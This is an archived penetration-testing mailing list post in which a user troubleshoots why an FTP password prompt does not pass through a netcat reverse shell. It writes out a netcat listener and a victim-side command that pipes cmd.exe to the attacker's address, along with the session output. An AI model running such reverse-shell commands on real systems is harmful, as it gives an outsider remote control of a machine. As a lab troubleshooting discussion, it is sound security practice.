Penetration Testing mailing list archives

Re: Netcat reverse shell and ftp


From: "Avaya.Toons" <avaya.toons () gmail com>
Date: Mon, 26 Jan 2009 18:11:25 +0530

yup, i did the -e cmd.exe option thinking it would then pipe the stdin
and stdout, and for  half way it caused no problem, see what i'm
doing,

*******************************************************************************
Step 1.
Attacker>nc -L -p 80 -vv
listening on [any] 80 ...

victim>nc 192.168.123 80 -e cmd.exe -vv
attacker [192.168.1.123] 80 (http) open

Step 2. Session established and victim waiting for commands
Attacker>
connect to [192.168.1.123] from victim [192.168.1.124] 1176
C:\Documents and Settings\victim>ftp 192.168.1.123
ftp 192.168.1.123
User (192.168.1.123:(none)): User
.
.
.
In victim machine....(Just after i enter user name in attacker console)
attacker [192.168.1.123] 80 (http) open
Password:

************************************************************************************
See the Password prompt in victim (and no response in Attacker), not
in attacker console, ie the first User prompt in attacker console and
second password prompt in victim machine,
The problem is only for ftp, all other commands are working fine, and
ftp in a seperate stand alone console is working fine in both
machines, no problems,
what am i doing wrong, why my netcat not piping the second prompt?

Hope some one thr too got this weird behaviour some time earler, or
try it now to see it is.

Thanks,

Tom



Current thread: